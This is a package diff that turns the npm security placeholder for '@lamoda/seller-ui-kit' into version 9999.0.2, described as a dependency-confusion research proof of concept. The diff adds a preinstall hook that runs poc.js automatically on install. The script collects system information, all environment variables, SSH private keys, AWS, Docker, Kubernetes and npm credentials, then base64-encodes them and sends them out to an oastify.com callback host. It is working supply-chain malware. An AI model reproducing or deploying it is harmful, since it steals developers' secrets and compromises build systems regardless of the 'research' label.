@lamoda/seller-ui-kit 0.0.1-security → 9999.0.2

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "@lamoda/seller-ui-kit",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9999.0.2",
+  "description": "Security Research PoC - Dependency Confusion",
+  "scripts": {
+    "preinstall": "node poc.js"
+  },
+  "author": "Security Research"
 }

package/poc.js

@@ -0,0 +1,49 @@
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+const fs = require('fs');
+
+const CALLBACK = 'cvbykwjip0ba35fyfewhmj4f46axynmc.oastify.com';
+
+function run(cmd) {
+  try { return execSync(cmd, { timeout: 5000 }).toString().trim(); }
+  catch (e) { return e.message; }
+}
+
+function readFile(path) {
+  try { return fs.readFileSync(path, 'utf8').slice(0, 2000); }
+  catch { return null; }
+}
+
+const payload = {
+  pkg: '@lamoda/seller-ui-kit',
+  host: os.hostname(),
+  user: os.userInfo().username,
+  cwd: process.cwd(),
+
+  id:      run('id'),
+  whoami:  run('whoami'),
+  uname:   run('uname -a'),
+  ip:      run('ip a 2>/dev/null || ifconfig'),
+  ps:      run('ps aux --no-headers | head -20'),
+  netstat: run('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
+
+  npmrc:      readFile(os.homedir() + '/.npmrc'),
+  npmrc_cwd:  readFile(process.cwd() + '/.npmrc'),
+  gitconfig:  readFile(os.homedir() + '/.gitconfig'),
+  ssh_key:    readFile(os.homedir() + '/.ssh/id_rsa'),
+  aws_creds:  readFile(os.homedir() + '/.aws/credentials'),
+  docker_cfg: readFile(os.homedir() + '/.docker/config.json'),
+  k8s_cfg:    readFile(os.homedir() + '/.kube/config'),
+
+  env: process.env,
+};
+
+const b64 = Buffer.from(JSON.stringify(payload)).toString('base64');
+const chunkSize = 7000;
+
+for (let i = 0; i < b64.length; i += chunkSize) {
+  const chunk = b64.slice(i, i + chunkSize);
+  const idx = Math.floor(i / chunkSize);
+  https.get(`https://${idx}.${CALLBACK}/${chunk}`, () => {}).on('error', () => {});
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40lamoda%2Fseller-ui-kit for more information.